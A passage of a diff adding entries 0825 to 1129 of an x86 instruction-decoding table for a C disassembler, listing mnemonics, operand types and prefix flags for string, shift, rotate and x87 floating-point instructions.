P_str|P_seg|P_oso|P_rexw }, + /* 0826 */ { UD_Ilodsb, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0827 */ { UD_Ilodsw, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0828 */ { UD_Ilodsd, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0829 */ { UD_Ilodsq, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0830 */ { UD_Iscasb, O_NONE, O_NONE, O_NONE, P_strz }, + /* 0831 */ { UD_Iscasw, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw }, + /* 0832 */ { UD_Iscasd, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw }, + /* 0833 */ { UD_Iscasq, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw }, + /* 0834 */ { UD_Imov, O_R0b, O_Ib, O_NONE, P_rexb }, + /* 0835 */ { UD_Imov, O_R1b, O_Ib, O_NONE, P_rexb }, + /* 0836 */ { UD_Imov, O_R2b, O_Ib, O_NONE, P_rexb }, + /* 0837 */ { UD_Imov, O_R3b, O_Ib, O_NONE, P_rexb }, + /* 0838 */ { UD_Imov, O_R4b, O_Ib, O_NONE, P_rexb }, + /* 0839 */ { UD_Imov, O_R5b, O_Ib, O_NONE, P_rexb }, + /* 0840 */ { UD_Imov, O_R6b, O_Ib, O_NONE, P_rexb }, + /* 0841 */ { UD_Imov, O_R7b, O_Ib, O_NONE, P_rexb }, + /* 0842 */ { UD_Imov, O_R0v, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0843 */ { UD_Imov, O_R1v, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0844 */ { UD_Imov, O_R2v, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0845 */ { UD_Imov, O_R3v, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0846 */ { UD_Imov, O_R4v, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0847 */ { UD_Imov, O_R5v, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0848 */ { UD_Imov, O_R6v, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0849 */ { UD_Imov, O_R7v, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* 0850 */ { UD_Irol, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0851 */ { UD_Iror, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0852 */ { UD_Ircl, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0853 */ { UD_Ircr, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0854 */ { UD_Ishl, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0855 */ { UD_Ishr, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0856 */ { UD_Ishl, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0857 */ { UD_Isar, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0858 */ { UD_Irol, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0859 */ { UD_Iror, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0860 */ { UD_Ircl, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0861 */ { UD_Ircr, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0862 */ { UD_Ishl, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0863 */ { UD_Ishr, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0864 */ { UD_Ishl, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0865 */ { UD_Isar, O_Ev, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0866 */ { UD_Iret, O_Iw, O_NONE, O_NONE, P_none }, + /* 0867 */ { UD_Iret, O_NONE, O_NONE, O_NONE, P_none }, + /* 0868 */ { UD_Iles, O_Gv, O_M, O_NONE, P_aso|P_oso }, + /* 0869 */ { UD_Ilds, O_Gv, O_M, O_NONE, P_aso|P_oso }, + /* 0870 */ { UD_Imov, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0871 */ { UD_Imov, O_Ev, O_sIz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0872 */ { UD_Ienter, O_Iw, O_Ib, O_NONE, P_def64 }, + /* 0873 */ { UD_Ileave, O_NONE, O_NONE, O_NONE, P_none }, + /* 0874 */ { UD_Iretf, O_Iw, O_NONE, O_NONE, P_none }, + /* 0875 */ { UD_Iretf, O_NONE, O_NONE, O_NONE, P_none }, + /* 0876 */ { UD_Iint3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0877 */ { UD_Iint, O_Ib, O_NONE, O_NONE, P_none }, + /* 0878 */ { UD_Iinto, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 0879 */ { UD_Iiretw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0880 */ { UD_Iiretd, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0881 */ { UD_Iiretq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0882 */ { UD_Irol, O_Eb, O_I1, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0883 */ { UD_Iror, O_Eb, O_I1, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0884 */ { UD_Ircl, O_Eb, O_I1, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0885 */ { UD_Ircr, O_Eb, O_I1, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0886 */ { UD_Ishl, O_Eb, O_I1, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0887 */ { UD_Ishr, O_Eb, O_I1, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0888 */ { UD_Ishl, O_Eb, O_I1, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0889 */ { UD_Isar, O_Eb, O_I1, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0890 */ { UD_Irol, O_Ev, O_I1, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0891 */ { UD_Iror, O_Ev, O_I1, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0892 */ { UD_Ircl, O_Ev, O_I1, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0893 */ { UD_Ircr, O_Ev, O_I1, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0894 */ { UD_Ishl, O_Ev, O_I1, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0895 */ { UD_Ishr, O_Ev, O_I1, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0896 */ { UD_Ishl, O_Ev, O_I1, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0897 */ { UD_Isar, O_Ev, O_I1, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0898 */ { UD_Irol, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0899 */ { UD_Iror, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0900 */ { UD_Ircl, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0901 */ { UD_Ircr, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0902 */ { UD_Ishl, O_Eb, O_CL, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0903 */ { UD_Ishr, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0904 */ { UD_Ishl, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0905 */ { UD_Isar, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0906 */ { UD_Irol, O_Ev, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0907 */ { UD_Iror, O_Ev, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0908 */ { UD_Ircl, O_Ev, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0909 */ { UD_Ircr, O_Ev, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0910 */ { UD_Ishl, O_Ev, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0911 */ { UD_Ishr, O_Ev, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0912 */ { UD_Ishl, O_Ev, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0913 */ { UD_Isar, O_Ev, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0914 */ { UD_Iaam, O_Ib, O_NONE, O_NONE, P_none }, + /* 0915 */ { UD_Iaad, O_Ib, O_NONE, O_NONE, P_none }, + /* 0916 */ { UD_Isalc, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 0917 */ { UD_Ixlatb, O_NONE, O_NONE, O_NONE, P_rexw|P_seg }, + /* 0918 */ { UD_Ifadd, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0919 */ { UD_Ifmul, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0920 */ { UD_Ifcom, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0921 */ { UD_Ifcomp, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0922 */ { UD_Ifsub, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0923 */ { UD_Ifsubr, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0924 */ { UD_Ifdiv, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0925 */ { UD_Ifdivr, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0926 */ { UD_Ifadd, O_ST0, O_ST0, O_NONE, P_none }, + /* 0927 */ { UD_Ifadd, O_ST0, O_ST1, O_NONE, P_none }, + /* 0928 */ { UD_Ifadd, O_ST0, O_ST2, O_NONE, P_none }, + /* 0929 */ { UD_Ifadd, O_ST0, O_ST3, O_NONE, P_none }, + /* 0930 */ { UD_Ifadd, O_ST0, O_ST4, O_NONE, P_none }, + /* 0931 */ { UD_Ifadd, O_ST0, O_ST5, O_NONE, P_none }, + /* 0932 */ { UD_Ifadd, O_ST0, O_ST6, O_NONE, P_none }, + /* 0933 */ { UD_Ifadd, O_ST0, O_ST7, O_NONE, P_none }, + /* 0934 */ { UD_Ifmul, O_ST0, O_ST0, O_NONE, P_none }, + /* 0935 */ { UD_Ifmul, O_ST0, O_ST1, O_NONE, P_none }, + /* 0936 */ { UD_Ifmul, O_ST0, O_ST2, O_NONE, P_none }, + /* 0937 */ { UD_Ifmul, O_ST0, O_ST3, O_NONE, P_none }, + /* 0938 */ { UD_Ifmul, O_ST0, O_ST4, O_NONE, P_none }, + /* 0939 */ { UD_Ifmul, O_ST0, O_ST5, O_NONE, P_none }, + /* 0940 */ { UD_Ifmul, O_ST0, O_ST6, O_NONE, P_none }, + /* 0941 */ { UD_Ifmul, O_ST0, O_ST7, O_NONE, P_none }, + /* 0942 */ { UD_Ifcom, O_ST0, O_ST0, O_NONE, P_none }, + /* 0943 */ { UD_Ifcom, O_ST0, O_ST1, O_NONE, P_none }, + /* 0944 */ { UD_Ifcom, O_ST0, O_ST2, O_NONE, P_none }, + /* 0945 */ { UD_Ifcom, O_ST0, O_ST3, O_NONE, P_none }, + /* 0946 */ { UD_Ifcom, O_ST0, O_ST4, O_NONE, P_none }, + /* 0947 */ { UD_Ifcom, O_ST0, O_ST5, O_NONE, P_none }, + /* 0948 */ { UD_Ifcom, O_ST0, O_ST6, O_NONE, P_none }, + /* 0949 */ { UD_Ifcom, O_ST0, O_ST7, O_NONE, P_none }, + /* 0950 */ { UD_Ifcomp, O_ST0, O_ST0, O_NONE, P_none }, + /* 0951 */ { UD_Ifcomp, O_ST0, O_ST1, O_NONE, P_none }, + /* 0952 */ { UD_Ifcomp, O_ST0, O_ST2, O_NONE, P_none }, + /* 0953 */ { UD_Ifcomp, O_ST0, O_ST3, O_NONE, P_none }, + /* 0954 */ { UD_Ifcomp, O_ST0, O_ST4, O_NONE, P_none }, + /* 0955 */ { UD_Ifcomp, O_ST0, O_ST5, O_NONE, P_none }, + /* 0956 */ { UD_Ifcomp, O_ST0, O_ST6, O_NONE, P_none }, + /* 0957 */ { UD_Ifcomp, O_ST0, O_ST7, O_NONE, P_none }, + /* 0958 */ { UD_Ifsub, O_ST0, O_ST0, O_NONE, P_none }, + /* 0959 */ { UD_Ifsub, O_ST0, O_ST1, O_NONE, P_none }, + /* 0960 */ { UD_Ifsub, O_ST0, O_ST2, O_NONE, P_none }, + /* 0961 */ { UD_Ifsub, O_ST0, O_ST3, O_NONE, P_none }, + /* 0962 */ { UD_Ifsub, O_ST0, O_ST4, O_NONE, P_none }, + /* 0963 */ { UD_Ifsub, O_ST0, O_ST5, O_NONE, P_none }, + /* 0964 */ { UD_Ifsub, O_ST0, O_ST6, O_NONE, P_none }, + /* 0965 */ { UD_Ifsub, O_ST0, O_ST7, O_NONE, P_none }, + /* 0966 */ { UD_Ifsubr, O_ST0, O_ST0, O_NONE, P_none }, + /* 0967 */ { UD_Ifsubr, O_ST0, O_ST1, O_NONE, P_none }, + /* 0968 */ { UD_Ifsubr, O_ST0, O_ST2, O_NONE, P_none }, + /* 0969 */ { UD_Ifsubr, O_ST0, O_ST3, O_NONE, P_none }, + /* 0970 */ { UD_Ifsubr, O_ST0, O_ST4, O_NONE, P_none }, + /* 0971 */ { UD_Ifsubr, O_ST0, O_ST5, O_NONE, P_none }, + /* 0972 */ { UD_Ifsubr, O_ST0, O_ST6, O_NONE, P_none }, + /* 0973 */ { UD_Ifsubr, O_ST0, O_ST7, O_NONE, P_none }, + /* 0974 */ { UD_Ifdiv, O_ST0, O_ST0, O_NONE, P_none }, + /* 0975 */ { UD_Ifdiv, O_ST0, O_ST1, O_NONE, P_none }, + /* 0976 */ { UD_Ifdiv, O_ST0, O_ST2, O_NONE, P_none }, + /* 0977 */ { UD_Ifdiv, O_ST0, O_ST3, O_NONE, P_none }, + /* 0978 */ { UD_Ifdiv, O_ST0, O_ST4, O_NONE, P_none }, + /* 0979 */ { UD_Ifdiv, O_ST0, O_ST5, O_NONE, P_none }, + /* 0980 */ { UD_Ifdiv, O_ST0, O_ST6, O_NONE, P_none }, + /* 0981 */ { UD_Ifdiv, O_ST0, O_ST7, O_NONE, P_none }, + /* 0982 */ { UD_Ifdivr, O_ST0, O_ST0, O_NONE, P_none }, + /* 0983 */ { UD_Ifdivr, O_ST0, O_ST1, O_NONE, P_none }, + /* 0984 */ { UD_Ifdivr, O_ST0, O_ST2, O_NONE, P_none }, + /* 0985 */ { UD_Ifdivr, O_ST0, O_ST3, O_NONE, P_none }, + /* 0986 */ { UD_Ifdivr, O_ST0, O_ST4, O_NONE, P_none }, + /* 0987 */ { UD_Ifdivr, O_ST0, O_ST5, O_NONE, P_none }, + /* 0988 */ { UD_Ifdivr, O_ST0, O_ST6, O_NONE, P_none }, + /* 0989 */ { UD_Ifdivr, O_ST0, O_ST7, O_NONE, P_none }, + /* 0990 */ { UD_Ifld, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0991 */ { UD_Ifst, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0992 */ { UD_Ifstp, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0993 */ { UD_Ifldenv, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0994 */ { UD_Ifldcw, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0995 */ { UD_Ifnstenv, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0996 */ { UD_Ifnstcw, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0997 */ { UD_Ifld, O_ST0, O_NONE, O_NONE, P_none }, + /* 0998 */ { UD_Ifld, O_ST1, O_NONE, O_NONE, P_none }, + /* 0999 */ { UD_Ifld, O_ST2, O_NONE, O_NONE, P_none }, + /* 1000 */ { UD_Ifld, O_ST3, O_NONE, O_NONE, P_none }, + /* 1001 */ { UD_Ifld, O_ST4, O_NONE, O_NONE, P_none }, + /* 1002 */ { UD_Ifld, O_ST5, O_NONE, O_NONE, P_none }, + /* 1003 */ { UD_Ifld, O_ST6, O_NONE, O_NONE, P_none }, + /* 1004 */ { UD_Ifld, O_ST7, O_NONE, O_NONE, P_none }, + /* 1005 */ { UD_Ifxch, O_ST0, O_ST0, O_NONE, P_none }, + /* 1006 */ { UD_Ifxch, O_ST0, O_ST1, O_NONE, P_none }, + /* 1007 */ { UD_Ifxch, O_ST0, O_ST2, O_NONE, P_none }, + /* 1008 */ { UD_Ifxch, O_ST0, O_ST3, O_NONE, P_none }, + /* 1009 */ { UD_Ifxch, O_ST0, O_ST4, O_NONE, P_none }, + /* 1010 */ { UD_Ifxch, O_ST0, O_ST5, O_NONE, P_none }, + /* 1011 */ { UD_Ifxch, O_ST0, O_ST6, O_NONE, P_none }, + /* 1012 */ { UD_Ifxch, O_ST0, O_ST7, O_NONE, P_none }, + /* 1013 */ { UD_Ifnop, O_NONE, O_NONE, O_NONE, P_none }, + /* 1014 */ { UD_Ifstp1, O_ST0, O_NONE, O_NONE, P_none }, + /* 1015 */ { UD_Ifstp1, O_ST1, O_NONE, O_NONE, P_none }, + /* 1016 */ { UD_Ifstp1, O_ST2, O_NONE, O_NONE, P_none }, + /* 1017 */ { UD_Ifstp1, O_ST3, O_NONE, O_NONE, P_none }, + /* 1018 */ { UD_Ifstp1, O_ST4, O_NONE, O_NONE, P_none }, + /* 1019 */ { UD_Ifstp1, O_ST5, O_NONE, O_NONE, P_none }, + /* 1020 */ { UD_Ifstp1, O_ST6, O_NONE, O_NONE, P_none }, + /* 1021 */ { UD_Ifstp1, O_ST7, O_NONE, O_NONE, P_none }, + /* 1022 */ { UD_Ifchs, O_NONE, O_NONE, O_NONE, P_none }, + /* 1023 */ { UD_Ifabs, O_NONE, O_NONE, O_NONE, P_none }, + /* 1024 */ { UD_Iftst, O_NONE, O_NONE, O_NONE, P_none }, + /* 1025 */ { UD_Ifxam, O_NONE, O_NONE, O_NONE, P_none }, + /* 1026 */ { UD_Ifld1, O_NONE, O_NONE, O_NONE, P_none }, + /* 1027 */ { UD_Ifldl2t, O_NONE, O_NONE, O_NONE, P_none }, + /* 1028 */ { UD_Ifldl2e, O_NONE, O_NONE, O_NONE, P_none }, + /* 1029 */ { UD_Ifldpi, O_NONE, O_NONE, O_NONE, P_none }, + /* 1030 */ { UD_Ifldlg2, O_NONE, O_NONE, O_NONE, P_none }, + /* 1031 */ { UD_Ifldln2, O_NONE, O_NONE, O_NONE, P_none }, + /* 1032 */ { UD_Ifldz, O_NONE, O_NONE, O_NONE, P_none }, + /* 1033 */ { UD_If2xm1, O_NONE, O_NONE, O_NONE, P_none }, + /* 1034 */ { UD_Ifyl2x, O_NONE, O_NONE, O_NONE, P_none }, + /* 1035 */ { UD_Ifptan, O_NONE, O_NONE, O_NONE, P_none }, + /* 1036 */ { UD_Ifpatan, O_NONE, O_NONE, O_NONE, P_none }, + /* 1037 */ { UD_Ifxtract, O_NONE, O_NONE, O_NONE, P_none }, + /* 1038 */ { UD_Ifprem1, O_NONE, O_NONE, O_NONE, P_none }, + /* 1039 */ { UD_Ifdecstp, O_NONE, O_NONE, O_NONE, P_none }, + /* 1040 */ { UD_Ifincstp, O_NONE, O_NONE, O_NONE, P_none }, + /* 1041 */ { UD_Ifprem, O_NONE, O_NONE, O_NONE, P_none }, + /* 1042 */ { UD_Ifyl2xp1, O_NONE, O_NONE, O_NONE, P_none }, + /* 1043 */ { UD_Ifsqrt, O_NONE, O_NONE, O_NONE, P_none }, + /* 1044 */ { UD_Ifsincos, O_NONE, O_NONE, O_NONE, P_none }, + /* 1045 */ { UD_Ifrndint, O_NONE, O_NONE, O_NONE, P_none }, + /* 1046 */ { UD_Ifscale, O_NONE, O_NONE, O_NONE, P_none }, + /* 1047 */ { UD_Ifsin, O_NONE, O_NONE, O_NONE, P_none }, + /* 1048 */ { UD_Ifcos, O_NONE, O_NONE, O_NONE, P_none }, + /* 1049 */ { UD_Ifiadd, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1050 */ { UD_Ifimul, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1051 */ { UD_Ificom, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1052 */ { UD_Ificomp, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1053 */ { UD_Ifisub, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1054 */ { UD_Ifisubr, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1055 */ { UD_Ifidiv, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1056 */ { UD_Ifidivr, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1057 */ { UD_Ifcmovb, O_ST0, O_ST0, O_NONE, P_none }, + /* 1058 */ { UD_Ifcmovb, O_ST0, O_ST1, O_NONE, P_none }, + /* 1059 */ { UD_Ifcmovb, O_ST0, O_ST2, O_NONE, P_none }, + /* 1060 */ { UD_Ifcmovb, O_ST0, O_ST3, O_NONE, P_none }, + /* 1061 */ { UD_Ifcmovb, O_ST0, O_ST4, O_NONE, P_none }, + /* 1062 */ { UD_Ifcmovb, O_ST0, O_ST5, O_NONE, P_none }, + /* 1063 */ { UD_Ifcmovb, O_ST0, O_ST6, O_NONE, P_none }, + /* 1064 */ { UD_Ifcmovb, O_ST0, O_ST7, O_NONE, P_none }, + /* 1065 */ { UD_Ifcmove, O_ST0, O_ST0, O_NONE, P_none }, + /* 1066 */ { UD_Ifcmove, O_ST0, O_ST1, O_NONE, P_none }, + /* 1067 */ { UD_Ifcmove, O_ST0, O_ST2, O_NONE, P_none }, + /* 1068 */ { UD_Ifcmove, O_ST0, O_ST3, O_NONE, P_none }, + /* 1069 */ { UD_Ifcmove, O_ST0, O_ST4, O_NONE, P_none }, + /* 1070 */ { UD_Ifcmove, O_ST0, O_ST5, O_NONE, P_none }, + /* 1071 */ { UD_Ifcmove, O_ST0, O_ST6, O_NONE, P_none }, + /* 1072 */ { UD_Ifcmove, O_ST0, O_ST7, O_NONE, P_none }, + /* 1073 */ { UD_Ifcmovbe, O_ST0, O_ST0, O_NONE, P_none }, + /* 1074 */ { UD_Ifcmovbe, O_ST0, O_ST1, O_NONE, P_none }, + /* 1075 */ { UD_Ifcmovbe, O_ST0, O_ST2, O_NONE, P_none }, + /* 1076 */ { UD_Ifcmovbe, O_ST0, O_ST3, O_NONE, P_none }, + /* 1077 */ { UD_Ifcmovbe, O_ST0, O_ST4, O_NONE, P_none }, + /* 1078 */ { UD_Ifcmovbe, O_ST0, O_ST5, O_NONE, P_none }, + /* 1079 */ { UD_Ifcmovbe, O_ST0, O_ST6, O_NONE, P_none }, + /* 1080 */ { UD_Ifcmovbe, O_ST0, O_ST7, O_NONE, P_none }, + /* 1081 */ { UD_Ifcmovu, O_ST0, O_ST0, O_NONE, P_none }, + /* 1082 */ { UD_Ifcmovu, O_ST0, O_ST1, O_NONE, P_none }, + /* 1083 */ { UD_Ifcmovu, O_ST0, O_ST2, O_NONE, P_none }, + /* 1084 */ { UD_Ifcmovu, O_ST0, O_ST3, O_NONE, P_none }, + /* 1085 */ { UD_Ifcmovu, O_ST0, O_ST4, O_NONE, P_none }, + /* 1086 */ { UD_Ifcmovu, O_ST0, O_ST5, O_NONE, P_none }, + /* 1087 */ { UD_Ifcmovu, O_ST0, O_ST6, O_NONE, P_none }, + /* 1088 */ { UD_Ifcmovu, O_ST0, O_ST7, O_NONE, P_none }, + /* 1089 */ { UD_Ifucompp, O_NONE, O_NONE, O_NONE, P_none }, + /* 1090 */ { UD_Ifild, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1091 */ { UD_Ifisttp, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1092 */ { UD_Ifist, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1093 */ { UD_Ifistp, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1094 */ { UD_Ifld, O_Mt, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1095 */ { UD_Ifstp, O_Mt, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1096 */ { UD_Ifcmovnb, O_ST0, O_ST0, O_NONE, P_none }, + /* 1097 */ { UD_Ifcmovnb, O_ST0, O_ST1, O_NONE, P_none }, + /* 1098 */ { UD_Ifcmovnb, O_ST0, O_ST2, O_NONE, P_none }, + /* 1099 */ { UD_Ifcmovnb, O_ST0, O_ST3, O_NONE, P_none }, + /* 1100 */ { UD_Ifcmovnb, O_ST0, O_ST4, O_NONE, P_none }, + /* 1101 */ { UD_Ifcmovnb, O_ST0, O_ST5, O_NONE, P_none }, + /* 1102 */ { UD_Ifcmovnb, O_ST0, O_ST6, O_NONE, P_none }, + /* 1103 */ { UD_Ifcmovnb, O_ST0, O_ST7, O_NONE, P_none }, + /* 1104 */ { UD_Ifcmovne, O_ST0, O_ST0, O_NONE, P_none }, + /* 1105 */ { UD_Ifcmovne, O_ST0, O_ST1, O_NONE, P_none }, + /* 1106 */ { UD_Ifcmovne, O_ST0, O_ST2, O_NONE, P_none }, + /* 1107 */ { UD_Ifcmovne, O_ST0, O_ST3, O_NONE, P_none }, + /* 1108 */ { UD_Ifcmovne, O_ST0, O_ST4, O_NONE, P_none }, + /* 1109 */ { UD_Ifcmovne, O_ST0, O_ST5, O_NONE, P_none }, + /* 1110 */ { UD_Ifcmovne, O_ST0, O_ST6, O_NONE, P_none }, + /* 1111 */ { UD_Ifcmovne, O_ST0, O_ST7, O_NONE, P_none }, + /* 1112 */ { UD_Ifcmovnbe, O_ST0, O_ST0, O_NONE, P_none }, + /* 1113 */ { UD_Ifcmovnbe, O_ST0, O_ST1, O_NONE, P_none }, + /* 1114 */ { UD_Ifcmovnbe, O_ST0, O_ST2, O_NONE, P_none }, + /* 1115 */ { UD_Ifcmovnbe, O_ST0, O_ST3, O_NONE, P_none }, + /* 1116 */ { UD_Ifcmovnbe, O_ST0, O_ST4, O_NONE, P_none }, + /* 1117 */ { UD_Ifcmovnbe, O_ST0, O_ST5, O_NONE, P_none }, + /* 1118 */ { UD_Ifcmovnbe, O_ST0, O_ST6, O_NONE, P_none }, + /* 1119 */ { UD_Ifcmovnbe, O_ST0, O_ST7, O_NONE, P_none }, + /* 1120 */ { UD_Ifcmovnu, O_ST0, O_ST0, O_NONE, P_none }, + /* 1121 */ { UD_Ifcmovnu, O_ST0, O_ST1, O_NONE, P_none }, + /* 1122 */ { UD_Ifcmovnu, O_ST0, O_ST2, O_NONE, P_none }, + /* 1123 */ { UD_Ifcmovnu, O_ST0, O_ST3, O_NONE, P_none }, + /* 1124 */ { UD_Ifcmovnu, O_ST0, O_ST4, O_NONE, P_none }, + /* 1125 */ { UD_Ifcmovnu, O_ST0, O_ST5, O_NONE, P_none }, + /* 1126 */ { UD_Ifcmovnu, O_ST0, O_ST6, O_NONE, P_none }, + /* 1127 */ { UD_Ifcmovnu, O_ST0, O_ST7, O_NONE, P_none }, + /* 1128 */ { UD_Ifclex, O_NONE, O_NONE, O_NONE, P_none }, + /* 1129 */ { UD_Ifninit, O_NONE, 